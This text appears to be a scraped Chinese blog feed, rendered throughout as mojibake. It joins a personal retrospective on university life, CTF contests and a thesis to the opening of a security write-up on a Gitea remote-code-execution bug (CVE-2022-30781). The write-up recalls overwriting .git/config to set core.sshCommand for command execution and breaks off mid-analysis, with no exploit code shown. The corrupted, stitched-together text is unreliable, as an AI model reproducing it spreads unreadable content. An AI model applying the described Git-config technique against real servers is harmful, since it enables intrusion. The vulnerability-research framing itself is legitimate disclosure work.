æ¥äºã
2020 å¹´çç«æ
深深å°æ¹åäºè¿ä¸ªä¸çåæ¬çè¿ä½æ¹å¼ãåæ¬ 2 æå°±è¦è¿æ ¡çå¯åï¼è¢«ç«æ
硬ççå°æå°äº 5 æï¼æå¨å®¶é被迫ä¸çç½è¯¾ï¼ä½æ¯æ度ä¸è§å¾ãå 为ä¹
ä¹
没åºé¨ï¼åå ä¸çå°çµè§ä¸çç§ç§è´é¢æ°é»ï¼æ´ä¸ªäººçå¿çä¹æ¯å¾é¾åçãä¹æ¯å¨å½æ¶å
¥åäº Vtuberï¼å¼å§æ¨ Overideaï¼æè°¢ Overidea éªä¼´æ度è¿äºç«æ
æé´ä¸ä¸ªåä¸ä¸ªå¤æã
ä½ç«æ
导è´çè¿ä¸å个æçå¯åï¼å
¶å®ä¹æ¯ä¸ç§æºéãæå¨è¿æ®µæ¶é´éï¼å°ä¹å D^3CTF çå¹³å°è¿è¡éæ ââ Cardinal è¯çäºãå¯ä»¥è¯´å¥¹è´¯ç©¿äºææ´ä¸ª 2020 å¹´ï¼ä»ç¬¬ä¸æ¬¡å¼æºï¼å°è¡¥å¼åææ¡£ï¼å°å»ºç«ç¨æ·äº¤æµç¾¤ï¼åå°å¼æº 3D 大居… æé´æ认è¯äºä¸å°äººï¼ä¹ç§¯æäºå¾å¤å®è´µçç»éªãæå¼å§è®¤è¯å°åå¼æºçæ并ä¸è½æ»¡è¶³ææ人çéæ±ï¼ä¹ä¸æ¯ææ人é½å¯¹ææ±æåæãæåºè¯¥éæ©æ§å°å»å¯¹å¾
ä»ä»¬ã</p>
<p>2020 å¹´ 3 æçæ¶åï¼ææ¶å°äºæ大åçé¢è¯é约ï¼å æ¤æä¹å°±æäºä»ä»¬çå®ä¹ å²ãé£æ¯æ人çä¸åå ç第ä¸æ¬¡é¢è¯ï¼å¯æç»æ并ä¸çæ³ï¼æç»æ²¡è½éè¿ãé£æ®µæ¶é´æ对èªå·±ä¹é·å
¥äºæ·±æ·±å°è´¨çï¼æçèªå·±æ¯ä¸æ¯ä¸éåå¦è®¡ç®æºãä¸ç´ä»¥æ¥ä»¥å
´è¶£ä¸ºå¯¼åçæå´ä¸å¾ä¸è¢«é¼çå»å¦å»åä¸äºæä¸å欢çä¸è¥¿ï¼è¿è®©æå¾é¾ä»¥æ¥åãå°±è¿æ ·æ¶æ²äºä¸æ®µæ¶é´åï¼æ天ä¸åæç¿»é®ç®±çæ¶åçå°äºä¸å°é®ä»¶ï¼è¿ä¾¿æ¯æå å
¥ ForkAI çå¼å§ãä½èå¸éè¿ Vidar çå®ç½æ¾å°äºæçå客ï¼ç¶åç»æåäºé®ä»¶ï¼é®ææ没æå
´è¶£æ¥åéåç¸å
³çäºæ
ãæçæ¹åå
¶å®æ¯ Web èééåï¼ä½æè¿æ¯åå¤è¯´å¯ä»¥è¯è¯ãèªå·±è°ç äºä¸ä¹ååå¤è¯´å¯è½éè¦ä¸å° iPad çæºè¿è¡è°è¯åæï¼ä½èå¸é®æè¦äºå®¶åºå°ååï¼æ²¡å 天 iPad å°±å¯å°äºãå½æ¶æå
¶å®æºåæçï¼æåä»ç´ ä¸ç¸è¯ï¼ä½ä»å´è½å¦æ¤å°ä¿¡ä»»æãä¹åçäºæ
ï¼å¾å¤äººå
¶å®ä¹é½ç¥éäºï¼æ大å¦çåå段æ¶é´å ä¹é½æå
¥å¨äºå
¬å¸è¿è¾¹ï¼è¿ä¸¤å¹´å¤æ¥ï¼æéå°äºå½¢å½¢è²è²ç人ä¸äºæ
ï¼æ°ä¸èæ°ã</p>
<p>2020 å¹´ 5 æåï¼å¦æ ¡å¼å§å®æå¦çéç»è¿æ ¡ï¼å½æ¶æ¥ä¸å¯èå°æ赶紧买äºææ©çæºç¥¨åäºæå·ãç°å¨æ³æ³ï¼è¿æ¯èªå·±å®¶éæèæãåå°å¦æ ¡åï¼å 为没æè¡æ¸
æ¥åï¼æ被强å¶å¸¦å»ç©ºå®¿è楼é离ãé离ç第ä¸å¤©æè¿å¾ä¸æ
æ¿ï¼ä½åæ¥æ
¢æ
¢ç±ä¸äºè¿ç§ä¸ä¸ªäººä½å¨å¤§å®¿èéï¼æ¯å¤©ç¡å°èªç¶éï¼æ¯å¤©æ人éé¥ï¼åºä¸å°±æ¯çµèè¿æç½ç»ççæ´»äºãé离ç»æåæè¿æç¹å¿µå¿µä¸èã</p>
<p>é离ç»æåï¼æåå¹³æ¶ä¸æ ·åå°äºå¹³æ·¡çæ¥å¸¸æ ¡åçæ´»ä¸ãå½æ¶çæ以为æ¥åå°ä¼è¿ä¹æ 忧æ èå°è¿ä¸å»ï¼ä½å¨äºæåºåççä¸ä»¶äºï¼ç»æçä¹åç大å¦çæ´»èä¸äºä¸å±ååå°é´å½±ãè¿ä»¶äºæä¸æ³åå»å顾ï¼å½æ¶å®ç»æçæå»æ¯å·¨å¤§çï¼<del>çè³è®©æ产çäºè¦è½»ççæ³æ³</del>ãå®é´å·®é³éçåçäºï¼ä½å¡å
¶ä¸ä»»ä½ä¸ä¸ªæ¥éª¤åå¨ä¸ï¼é½ä¸è³äºæ¯å½æ¶é£ä¸ªç»æãè½ç¶è¿ä»¶äºæåå¦æ¿ä»¥å¿å°é¡ºå©è§£å³äºï¼ä½å®å·²ç»ç»æçä¸äºæ æ³æ¹å»çç迹ï¼å¯è½å¨äºå¹´ååå¹´åçæ个å¤æï¼æä¼å¨ç¡æ¢¦ä¸å次å¿èµ·æ¤äºï¼ç¶åæéã大äºä¸å¦æå©ä¸çæ¶é´ï¼æä¹å¨æåè°æ´çèªå·±çå¿çç¶åµï¼è®©å®¤å带æåºæ ¡åäºå¥½åçï¼æä¸ä¹°å ç¶é
å宿è麻ç¹èªå·±ãé£å¯¹ææ¥è¯´ççæ¯ç¹å«é´æçä¸æ®µæ¶å
ï¼æå¤å±èåæ å©ï¼æåªåå®æ
°ç欺éªçèªå·±ï¼æçå°äºäººæ§çææ°ä¸å®å主ä¹çå°¸ä½ç´ é¤ï¼æç«å¨åå°åæ å¯å¥ä½ã</p>
<h2 id="大ä¸--æ åä¸é´å·®é³é">å¤§ä¸ Â· æ åä¸é´å·®é³é</h2>
<p>æ¶é´å°äºå¤§äºçæåï¼è¿ä¸ªæåæé¤äºå¿äºå
¬å¸çäºæ
ä¹å¤ï¼æè¿å¨è·çåä¼ææ¯èµãæç»æ¯æ¿å°äº CyBRICS CTF 2020 å
¨ç第ä¸åï¼GACTF 2020 第ä¸åç好æ绩ãå½æ¶æåè¿æ个å¾ä»¤æè®°å¿ç¹æ°çäºæ
ï¼æ¯ Maro å 为没æä¹°å°å家çé«é票èå¨æ家ä½äºä¸æï¼è¿ä¹æ¯æ人ç第ä¸æ¬¡æåå¦å°å®¶éæ¥è¿å¤çï¼è®©åå¦çå°èªå·±èä¹±çæ¿é´ççå¾ä¸å¥½ææ QwQã</p>
<p>大ä¸ä¸å¦æå¼å¦åï¼é£ä¸ªå¦ææä¸è¿åå äºå¥½å 个æ¯èµï¼å¡æ¯æç线ä¸èµæå ä¹é½æ¥åäºãå¯æçæ¯é½æ²¡è½åå¾å¥å¥½çæ绩ãå¯ä¸çæ¶è·å°±æ¯æ¸¸è§äºç¥å½ç大好河山ãï¼å
¶å®ä¹æ¯åçï¼å¤©å¤©å¨é
åºéä¹ä¸åºå»ï¼å½èµç¬¬äºå¤©æ¹èµå¶ï¼è¢« ylb çå¹³å°ç»æ¶å¿å°äºï¼æ¹æ解é¢èµåæ绩并ä¸çæ³ï¼12 ææ«ç XUNCA å³èµæ¯å¨æ·±å¤§ä½è²åºï¼æä¹å¸¦ç大å¦å®¤å游è§äºä¸éæä»å°é¿å¤§çå°æ¹ãè¿ç§ä½éªççå¾æ¢¦å¹»ï¼å°æ¶åçæä¸å®ä¸ä¼æ³å°ï¼åå¤å¹´åæä¼å¸¦ç大å¦åå¦å次åå°è¿äºçæçå°æ¹ã
大ä¸ç课å
¶å®ä¹ä¸å°ï¼ä»¤æå°è±¡å¾æ·±å»çæ¯é«èå¸ãæé£ä¸ªå¦ææ两é¨æ¯å¥¹ç课ï¼å¥¹åºè¯¥ä¹æ¯å½èå¸ä¸ä¹
ï¼æ¯æ们大ä¸äºå¤å°ãæ以她å¾æç½å¦ç们çå°å¿æï¼ä¹å¾ä¸ºå¦ççæ³ãçå°æä½ä¸æ交äºï¼éªæ¶æ¬¡æ°ä¸å¤ï¼ä¸ç´ä¼å¬çæå»åã她æ¯é£ç§ææ¿ææå¼å¿æè·å¥¹èçèå¸ï¼å½æ¶èªå·±éæåäºä¸ªæéæææ¶äº¤ä½ä¸ç botï¼æ第ä¸æ¶é´å°±æ³ä¸å¥¹å享ãæåææ«éªæ¶ä¹æ¯å¾æå§æ§ï¼æä¸å¦æç课å ä¹æ²¡æå¬ï¼å¯éªæ¶çæ¶åé«èå¸é®çæ¯ä¸ªé®é¢æé½è½çä¸æ¥ä¸å°ï¼çè³è¿æ¯å¯¹çã她é½å¼å§æçææ¯ä¸æ¯åè£
èªå·±æ²¡å¬è¿è¯¾äºåååãå¯è½ççæ¯åç´è§çè¿æ°å¥½å§ã
大ä¸çå¯åç¹å«çï¼å 为ç«æ
å½±åä¹æ¯æ²¡æåæ¹åãå¾ä¹
没æå¨æ·±å³è¿å¹´äºï¼é£æ®µæ¶é´è¿æ¯å±äºæ²ãé女ä¹æ
ãçæ¶åï¼æ¯å¤©æä¸ä»£ç åç´¯äºå°±èººåºä¸è¡¥å°è¯´ãæ·±å³çå¬å¤©ç¡®å®ä¸å·ï¼ç½å¤©çè³å¯ä»¥åªç©¿ä¸ä»¶é¿è¢ï¼å¨åºè¾¹åä¸ä¸å¤©ã</p>
<p>大ä¸ä¸å¦æåå°æå·åï¼å
¬å¸é£è¾¹å¼å§å¿èµ·æ¥äºãæå°æ´å¤çæ¶é´æå
¥å°äºå·¥ä½ä¸ã4 æ份举è¡äºä¸æ¬¡å°å®åçå¢å»ºï¼å¢å»ºåçå 天æççµè主æ¿è¿ç§äºï¼åªè½èµ¶ç´§å»è¥¿æ¹è¹æåºä¹°ä¸å°æ°çãæåè¿å¥½ä¹æ¯èµ¶ä¸äºé£æ¬¡ç客æ·äº¤ä»ã大ä¸ä¸å¦æè¿ä¸å¹´å
¬å¸äººåæµå¨ä»¥åå¨è¡æºå¤§çï¼æé´æä¹å¤æ¬¡æè§ååç²å¦æäºæä¸ä¸å»äºãçè³ç²¾ç¥ææå°ä»åºå£è¿å¦æ ¡å¾ä¹¦é¦ï¼è¢«é¨å£ä¿å®å«ä½åæè¿ä¸è¸çæå°æ³ä»ä¸ºå¥ä¸è®©æè¿å»ãæ¯è¾å¯æçæ¯å¤§ä¸ååå¹´ä¸æ¥ï¼å¨å
¬å¸çä¸äºäºæ
å¼äºååï¼è¿ä¹ææç»ç»ç导è´æå没æå 个äºæ
æ¯è½å®æ´åå®çï¼å¯æ¶é´åéé±ç¡®å®å·²ç»è¢«æµªè´¹äºã
æå
¶å®é¤äºå¤§åä¹å¤ï¼æ¯å¹´é½ä¼å»ä¸æ¬¡ä¸æµ·ã大ä¸çæ¶åæ¯å»ç Mili çæ¼å±ä¼å Vueconf 2019ï¼å¤§äºæ¯å»ç Bilibili Macro Link 2020ï¼å¤§ä¸æ¯å»æ¾éé¿åé¥é¡ºä¾¿å»æ访äºæ é»èå¸ç家ãç®æ¯å¹´åº¦ä»»å¡äºãæå·å°ä¸æµ·ç¡®å®å¾æ¹ä¾¿ï¼ä¸è¬æ¥è¯´æ¸
æ¨ä¸å
«ç¹éé«éè¿å»ï¼æä¸å
ä¸ç¹éçé«éåæ¥ã</p>
<h2 id="大å--åé§ä¸å¾å¿ææ¿">大å · åé§ä¸å¾å¿ææ¿</h2>
<p>æ¶é´æ¥å°äºå¤§åä¸å¦æï¼å 为大ä¸çæ¶åç»å¸¸å¨å
¬å¸ï¼ç¿äºä¸å°è¯¾ï¼å¯¼è´ä¸é¨å¾è ¢çé修课å±
ç¶è¢«èå¸ç»æäºãæ å¥åªè½å¤§ååé两é¨è¯¾æå¦åç»è¡¥ä¸ãå¯è½å 为æ¯å¤§å¦çæåä¸å¹´äºï¼è¿ä¸¤é¨è¯¾æé½ææ¶å°æ室å¬è¯¾äºï¼ä½ä¸ä¹é½å®æäºãææ«é åèå¸åéç¹çæ¶åå
¨ç¨è®°å½ä¸æ¥ï¼ä¸¤é¨è¯¾é½èªå·±æ´çäºç¸å
³çèµæè¿è¡å¤ä¹ ãå½ç¶ï¼æåå½ç¶ä¹é½é¡ºå©éè¿äºãè¿è®°å¾ææ«èè¯æ¶ï¼æä¸ä¸ªå¤§åçå¦çå¨èåºé¨å£éå°å¤§äºå¦å¼çåºæ¯ãð
</p>
<p>大åä¸å¦æè¿æ个å¾éè¦çäºï¼é£å°±æ¯æ¯ä¸è®¾è®¡äºãå 为ä¹ååççäºæ
ï¼ææ³ææ¯ä¸è¿äºäºå°½æ©åå®ï¼å°½æ©æ¯ä¸ãå æ¤å¨å¤§åä¸å¦æå°±éä¸äºç¬¬ä¸æ¹çæ¯ä¸è®¾è®¡ãé£ä¸æéé¢èªå·±å
¶å®é½ä¸æä¹æå
´è¶£ï¼æåæäºä¸ª XSS å¹³å°çå¼åãæ¾å°å¯¼å¸è¯´æ对è¿ä¸ªéé¢æ¯å¤ä¹å¤ä¹å°æå
´è¶£ï¼èªå·±ä¹æå¾å¤æ³æ³ã导å¸åå¤æ课é¢å·²ç»è¢«éäºï¼åæ¥åå转æä¹åé£ä¸ªå¦çéäºéé¢ãï¼åæ¥å¾ç¥æç导å¸è¿æ¬¡æ¯è®¾åªå¸¦äºæä¸ä¸ªå¦çï¼å
¶ä»è¦èç çå¦çé½è¢«ä»åéäºï¼
æ¯è®¾åå¼å§çæ¶åææ ¹æ¬æ²¡åå½åäºï¼å°±çªå»äºä¸ä¸åäº 20%ãåé¢å¯¼å¸å¬çæè¦å¼é¢çæ¶åï¼ææåä¸ææåäºå¼é¢æ¥åå PPTï¼å½æ¶æ表ç°çæºæ
çï¼èº«è¾¹ç人è¿ä»¥ä¸ºæåå çæ¯æç»ç论æç辩ï¼å¬é»å±
ç¶åªæ¯å¼é¢åé½çº·çº·è¡¨ç¤ºä¸å±ãå¼é¢æ¥åä¸ï¼æ个大ä¸æ¶åç¬æ¾æèè¿å¤©ï¼åæ¥é£è¯éæ¸è½¬å·®çèå¸å¼å§é®åæçä¸äºå·¥ä½å°±ä¸ç¸å
³çé®é¢ï¼æå
¶å®æºæç½çä»å°±æ¯æ³æ¾æå·åå¨æï¼ä½æ¯æä¹ä¸è³äºæ¨¡ä»¿ä»ä¹ç½æç·ä¸»ï¼æå®æ
éé²ç»ä»æä»çè¸ãæååªæ¯å¾®ç¬çæªå¡è¿å»äºã
è¿å
¥å¬å£åï¼è®ºææ¥éä¸ç辩ä¹å¿«æ¥äºãå½æ¶æçè¿åº¦å
¶å®æ¯æ
¢äºä¸æªçãçè³ç¦»æ¥éè¿æä¸ä¸ªåææäºï¼æ论æè¿æ²¡å¼å§åï¼æ以æå½æ¶ç»èªå·±å®ä¸çç®æ å°±æ¯æ¯å¤©å¿
é¡»å¾å满 2000 åæè½ç¡è§ãæ以é£æ®µæ¶é´æ¯æå ä¹é½æ¯ä¸¤ä¸ç¹æç¡ãå°è±¡å¾æ·±å»çæ¯æ次å¨å
¬å¸å çï¼å¤ªæäºä¾¿å¨å
¬å¸éè¿æ¾äºä¸ªå
¬å¯é
åºä½ï¼é£ä¸ªèæ¿è·æ说帮ææ¢äºä¸ªå¤§æ¿é´ï¼ç»æä¸è¿æ¿é´å³éæºå¤§çï¼ä¹å°±å°å°±çä½äºãé£å¤©æä¸èå°ä¸åç¹éï¼ä¸çææºæ²¡çµäºï¼ä½æ¯å没æå
çµçº¿ï¼çµè端饿äºä¹ç H5 页é¢ä¹ç¨ä¸äºï¼æç´æ¥äººå»äºãæåæ¯è·å°äºæ¥¼ä¸å¤§å ï¼çå°ææ¥å
çµå®çï¼æ¾æ¥¼ä¸ä¿å®å¸®ææ¥äºä¸ªæ解å³ãåæ¥è®ºææ¥éåä¹æ¯æºæé©çï¼é£å¤©æä¸åç¹æ¶å°å¯¼å¸ç微信ï¼è¯´ç¬¬äºå¤©ä¹ç¹åè¦æ交论ææ¥éï¼æä¸çè¿å©ä¸¤ä¸ååï¼è¿è¦æ¹æ ¼å¼ï¼äººç´æ¥å»äºã赶紧æ¶æ¾å¥½å
èä¸çµèå²åäºç¦»å¦æ ¡æè¿çé
åºãé£å¤©æ¯ä¸ç´èå°äºç¬¬äºå¤©å
ç¹æåå®ï¼åå®åå¨ç½ä¸æ¾äºä¸¤å®¶è®ºææ¥éçç½ç«ï¼ææ¥éç»æå论æ微信åç»å¯¼å¸åï¼ä»å±
ç¶ç§åæ¶å°ï¼çæ¥é½æ²¡æç¡å¢ãåå®åæ便å»è¡¥è§äºï¼ç¡å°ä¸åä¸è§éæ¥å¯¼å¸å¾®ä¿¡åè¯ææ¥ééè¿äºï¼å¯åå¯è´ºã
æåç论æç辩ï¼å
¶å®è¿è®é¡ºå©çãå°ä¸èå¸é®çé®é¢ä¹é½æ¯é¡¹ç®åè½ã代ç éä¹ç±»çï¼é便ä¸ä¸¤ä¸è½»æ¾åºå¯¹ãç辩ç»æåï¼æä¸åºæ ¡åäºç¤èï¼åå»çè·¯ä¸è¿ä¹°äºä¸ç´å¾å欢åå¾æ¤°æ¤°å¥¶å»ã
ä¸è¿ç辩ç»æ并ä¸æå³çæ¯ä¸è®¾è®¡å°±ç»æäºï¼å
³äºè®ºæè¿æä¸äºå
容åæ ¼å¼ä¸éè¦ä¿®æ¹çãè¿ä¹æ¯æ导å¸å¯ä¸ä¸æ¬¡ç»æçæ导 ââ ä¸ä¸ª 15 åéç微信çµè¯ãä»æç¹ç»æååºäºè¦æ¹çå
容åè¦ä¿®æ£çåä½æ ¼å¼ãæåé¢æç
§ä»è¯´çæ¹å¥½åï¼æç»çç´æ¥æ¿å»æ¥¼ä¸çµèåè£
订äºãæ以æç论æå ä¹æ¯æ²¡ä»ä¹å¤§çä¿®æ¹ï¼ä¹æ²¡è¢«å¯¼å¸æåå»è¿ãæç导å¸å
¨ç¨ä¹åæä¸æ ·å¾æï¼è¿ä½¿å¾ä»å¨ä¸å¦æçæ¯è®¾ä¸ä¹è¿ä¹æï¼ç»æä¸å¯¹å²äºãï¼å¯è½å¹¶ä¸æ¯ææçå¦çé½åæä¸æ ·ä¼ç§è½å¤è®©èå¸çå¿å§åååï¼</p>
<p>大åä¸å¦æï¼å 为ç«æ
ï¼å¯ååå°æ·±å³åä¸ç´åä¸å»æå·ï¼æ¯æ¬¡é½æ¯è§ç好转åå¤ä¹°ç¥¨çæ¶åï¼çªç¶æ°å¢äºå ä¾é³æ§ãééç»ç»æéäºæä¸å次票äºãè¿å¹´çæ¶ååäºè¶æ¹åï¼æé´ä½å¨å¥¶å¥¶çæ°æ¿åéãæ¹åçå¬å¤©æ¯æ¹¿å·çï¼è¿ç¹è·æå·å¾ä¸ä¸æ ·ãæå·çå¬å¤©è½ç¶äºå·ï¼ä½æä¸æçä¸è¢«åï¼ä¹å°±æåäºãæ¹åå 为ç¸å¯¹æ½®æ¹¿ï¼è¢«åä¸æ²¾ä¸äºæ°´æ±½å¨å¬å¤©æ¯å·çã𥶠æä¸ç¡è§çæ¶åçä¸è¢«åååæ´å·äºã
è¿å¹´é£ä¼ææ¬æ¥æ¯æ³å¨å¥¶å¥¶å®¶éä¸å¿æ¥åç¹å¼æºé¡¹ç®çï¼å¯æ¯å´è·å»ææ´äºï¼æé´ç¡®å®ä¹å°æææï¼èªå·±ä¹å¦å°äºä¸å°ãåæ¥å 为è¿äºæ´ä¹èµäºç¬å°é±ãä¼ éé¨ï¼<a href="https://github.red/security-bounty-thought/" title="èèæè¿æ Security Bounty çæå">èèæè¿æ Security Bounty çæå</a>
æä¹æ²¡æ³å°ä¸¤å¹´åæå±
ç¶åè½å¨å®¶éè¿çæ¥ï¼ä¸è¿ 22 å²ççæ¥æ²¡ç»ææ太大çå®æï¼è¶é¿å¤§è¶å¯¹è¿çæ¥æ²¡å
´è¶£äºãå°çæ¶åä¼ç»èªå·±æ´å¾å¤æ仪å¼æçä¸è¥¿ï¼ç°å¨å°±å个èç³ï¼è¿ä¸å¤©ä¹å°±è¿äºã</p>
<p>åæä¸æ¬ï¼æåå°äºå¦æ ¡ãå¨ä¸å°å个æåï¼â以为æ»å»çåå¿çªç¶å¼å§æ»å»æâï¼ææç¥é大äºä¸å¦æçé£ä»¶äºå±
ç¶è¿æ²¡å®ï¼å¹¶ä¸ä¹å好äºæ¯æ¶å该å个äºæçè§æãä¹åçä¸ä¸ªå¤ææ¥æä¸ç´éé寡欢ï¼ä¸æå°å°è¯å»è¡¥æï¼ä¸çä¹ä¸æ¬¡åä¸æ¬¡å°ç»æå¸æï¼ç¶åééå°æææå°å°ä¸ãæåï¼å°±å½æå°å°½ä¸ååæ³ï¼èªè®¤ä¸ºå·²æ åå天æ¶ï¼è¿ä»¶äºæ
æåå´åå次åºä¹ææå°å®ç¾æ¶åºäºãå½åæäºå¾ä¹
çæ²ççªç¶è¢«éæ¾æ¶ï¼æåå没è§å¾æå¤è½»æ¾ï¼å¿éè¿æ¯æé«çæå¤ï¼ææ³æ¥ä¸æ¥å°±èªå·±æ
¢æ
¢è°çï¼æ
¢æ
¢èµ°åºæ¥å§ã</p>
<p>æåå¿«è¦æ¯ä¸çä¸ä¸ªææï¼æç©¿ä¸å¦å£«æï¼æäºæ¯ä¸ç
§ãåæ¶å¼å§æ¶æ¾æå¨å®¿èçä¸è¥¿ï¼æ¾ç»ææ¶éçåç§å
è£
çåå°ç©æï¼å°ååèçæ¶åï¼å
¨è¢«æ丢å¼äºã以åèªå·±æ»æ³çè¿äºä¸è¥¿ä»åä¿ä¸é½çªç¶è¦ç¨ä¸ï¼ä¸ç´èä¸å¾ä¸¢ï¼ç°å¨å´æ¯è¢«æ´åçæå¼æ¥æ£æ¥ä¸éï¼ç¶åç´æ¥ä¸¢æãæ没æåè¿å¤çåçï¼å两次æå
好äºå®¿èçä¸è¥¿ï¼æ¬å°äºæç°å¨ä½çå
¬å¯éãçè³ç´å°ç°å¨æè¿è®¤ä¸ºï¼åªè¦ææ³ï¼æ便è½å次走è¿å¦æ ¡ã</p>
<h2 id="unlasting">Unlasting</h2>
<p>æåè¿ä¸ä¸ªæ®µè½ç¨ä¸é¦æåæ¥ç»å°¾ã</p>
<p>以ä¸å°±æ¯æ顺çåå¿è®°å½ä¸æ¥çæç大å¦åå¹´ãæé´è¿æå¾å¤ç²¾å½©çç¬é´ï¼éå°äºå¾å¤æ趣ç人ï¼æ±æç±äºç¯å¹
åå 以åæç°å¨å®å¨æ¯å¤ªå°äºæ以没æåãè¿å¹¶ä¸ä»£è¡¨ä»ä»¬ä¸éè¦ï¼ç¸åä»ä»¬å¯è½éè¦å°æä¼æ¶å¸¸æ³èµ·ï¼çè³å·²ç»æ¯æçæ´»æ¥å¸¸ä¸çä¸é¨åäºã
以ä¸æææå°äºåæªæå°çï¼é½è¢«æä¸ä¸è®°å½å¨äºææºç¸åä¸ãé²çæ¶åæä¼ç¿»çç¸åï¼å°èªå·±ä»£å
¥å½æ¶çå¿æ
ã</p>
<p>æç大å¦åå¹´ç活已ç»ç»æäºãè¿å
¶ä¸æéå°äºç§ç§åºä¹ææçäºæ
ãè¿ä¹è®©æä¸æ¢å太é¿è¿çè§åï¼å 为å®å¾å¾é½ä¸ææ设æ³çæ¹å¼è¿è¡ï¼æç»é½æ¯ä»¥ä»¥å
¶å®çç»æåç°ç»æï¼æå¾å°è½éå°å®ç¾çå¦æ¿ä»¥å¿ã
æå¨è¿åå¹´é表ç°çå¯è½ä¸æ¯é£ä¹åºå½©ï¼ä½æ¯è¿åå¹´ççååå°æµè¿äºãæè¿·è«å°ç«å¨è¿ä¸ªæ°çèµ·ç¹ï¼ä¹æ å顾å°ååèµ°ã</p>
- CVE-2022-30781ï¼ä¸æ¡æ®éç Git å½ä»¤å¯¼è´ç Gitea RCEhttps://github.red/gitea-rce/Sun, 29 May 2022 00:00:08 +0800https://github.red/gitea-rce/<blockquote>
<p>æ¬æé¦åäºè·³è·³ç³ <a href="https://tttang.com/archive/1607/">https://tttang.com/archive/1607/</a></p>
</blockquote>
<p>ä»å¹´è¿å¹´æ¾åçæ¶åï¼æå°±å¨æ Go ç¸å
³å¼æºé¡¹ç®ç Security Bountyãéè¿æ´çåæç°æ Go å¼æºé¡¹ç®çåå² CVEï¼æ大è´æ¸ç´¢åºäº Go 项ç®æåºç°æ¼æ´çä¸äºå°æ¹ï¼ä»¥åå¼å人åç»å¸¸ä¼ç忽çé®é¢ã
ååæ交çå 个æ¼æ´è®©ææäºå¥½å 个 CVEï¼å¹¶ä¸å°èµäºä¸ç¬ï¼æ¢ç®æ人æ°å¸åºè¯¥æ¥è¿å
ä½æ°äºãð
å
·ä½å¯ä»¥é
读æçä¸ä¸ç¯æç« ï¼<a href="https://github.red/security-bounty-thought/">èèæè¿æ Security Bounty çæå</a></p>
<h2 id="gogs-被-rce-äºé£-gitea-å¢">Gogs 被 RCE äºï¼é£ Gitea å¢ï¼</h2>
<p>å¨ä¸é¢çæç« ä¸ï¼ææå°èªå·±ææå°äºä¸æ Gogs ä¸å 为æªå¯¹ç¨æ·å¯æ§çç®å½è·¯å¾è¿è¡æ£æµï¼ä»è导è´åç»è·¯å¾æ¼æ¥å¯ä»¥å¯¼è´ç®å½ç©¿è¶ï¼ä»è使å¾æ»å»è
è½ä¸ä¼ è¦çç¯å¢ä¸çä»»ææ件ã
å¨è½è¦çä»»ææ件åï¼æ使ç¨çæ¯ä¹å CVE-2019-11229 ä¸æå°çæ¹æ³ï¼è¦çä¸ä¸ª Git ä»åºä¸ <code>.git/config</code> æ件ï¼è®¾ç½® <code>core.sshCommand</code> åæ°ä»èè¾¾å°è¿ç¨ä»»æå½ä»¤æ§è¡ã</p>
<p>ä¸ç´ä»¥æ¥æé½åå欣èµè¿ä¸ªæ¼æ´ï¼å 为å®ç»äººçæ 害ç Git ä¼ å
¥äºæ¶æçé
ç½®ï¼å°±è½å¯¼è´å½ä»¤æ§è¡ã类似çè¿æ <code>curl</code>ï¼åéµååå°è¿ä¸é CTF é¢ï¼å¨ç¯å¢åéå¯æ§çæ
åµä¸ï¼å¯ä»¥ä½¿ç¨ <code>curl</code> æ¥è¦çæ件ï¼åæ ·ä¹åå精彩ã</p>
<p>é£ä¹ï¼æ¢ç¶ Gogs 被æ们 RCE äºï¼é£åºäº Gogs 代ç åååºå»ç Giteaï¼æ¯å¦ä¹åå¨è°ç¨ Git æ¶ï¼ä¼ å
¥æ¶æåæ°å¯¼è´å½ä»¤æ§è¡çé®é¢å¢ï¼è¿ï¼å°±æ¯è¿ç¯æç« è¦è®²è¿°çã</p>
<h2 id="寻æ¾æ»å»ç¹">寻æ¾æ»å»ç¹</h2>
<p>Gitea æ¯ä¸ä¸ªåå端ä¸å离ç项ç®ï¼å¾å¤æä½è¿æ¯éè¿ POST 表åæ交ãæåå¼å§å®¡è®¡ Gitea 项ç®æ¶ï¼æç®å
éä¸çä¸éå®çè¾å
¥ï¼å æ¤éæ©å
ä» Gitea API å
¥æãéè¿ç¹å» Gitea 页é¢å³ä¸è§ç ãAPIãå³å¯çå°ä¸ä¸ªç¨ Swagger æ建ç API ææ¡£ãç½é¡µä¸éè¿è¡¨åæ交çæä½ï¼å¨è¿éåºæ¬å¯ä»¥æ¾å°ä¸ä¹å¯¹åºç RESTful APIã</p>
<p>第ä¸ä¸ª <code>admin</code> æ¯ç®¡çåçæä½ï¼è¯å®æ个ä¸é´ä»¶é´æï¼çºµä½¿åé¢ææ´ä¹ä¼è¢«åé¢çä¸é´ä»¶ç»æ¦äºï¼ä¼å
级é åï¼å
è·³è¿ã第äºä¸ª <code>miscellaneous</code> æ¯ä¸å¯¹æ项åè½ï¼åºæ¬ä¸æ¶åå¥å¤æç交äºï¼ä¹å
跳迅… ä¹åä¸è¿ä¸²ççä¸å»ï¼é½æ¯äºç®åç CRUD æä½ï¼å¯»æä¹åä¸åºå¥æ´ï¼æä¹æå¾å»çãð
èåå½ç¹å¼ <code>repository</code> é项å¡ï¼ç¬¬ä¸ä¸ªæ¥å£æ¯ï¼</p>
<blockquote>
<p>POST <code>/repos/migrate</code> Migrate a remote git repository</p>
</blockquote>
<p>诶~ è¿ä¸ªå¥½åæç¹ææï¼è¿ç§»è¿ç«¯çä»åºè¿æ¥ï¼é£è¯å®æ¯è¦è¯·æ±ç»å®çè¿ç«¯ä»åº URLï¼è¯´ä¸å®ä¿åºå°±æ¯ä¸ª SSRFãå±å¼çæ¥å£ä¼ å
¥ç JSON å
容ï¼å
¶ä¸å
å«è¿ç«¯ä»åºç URLãæ¯å¦è¿ç§» IssuesãPull RequestãReleasesãLFS çæ°æ®ãèæ³å°æä¹åæç Gitea ä»»ææ件å é¤æ¼æ´å°±æ¯å¨å¤ç LFS æ件è¿éï¼è¯´ä¸å®è¿éä»è¿ç«¯è¿ç§» LFS æ件ä¹ä¼åå¨ç±»ä¼¼è·¯å¾ç©¿è¶çé®é¢ï¼
带çè¿ä¸ªçæ³ï¼æå»çäº Gitea Migration é¨åç代ç ï¼ä¸çä¸ç¥éï¼ä¸çæåç°è¿åè½æ¯ä¸ªçåã</p>
<h2 id="gitea-migration">Gitea Migration</h2>
<p>Gitea ç Migration è¿ç§»åè½ç±ä¸¤é¨åç»æï¼<code>Downloader</code> ä¸ <code>Uploader</code>ï¼å¯¹åºå°ä»£ç ä¸åå«æ¯ <code>migration.Downloader</code> ä¸ <code>migration.Uploader</code> 两个æ¥å£ãåè
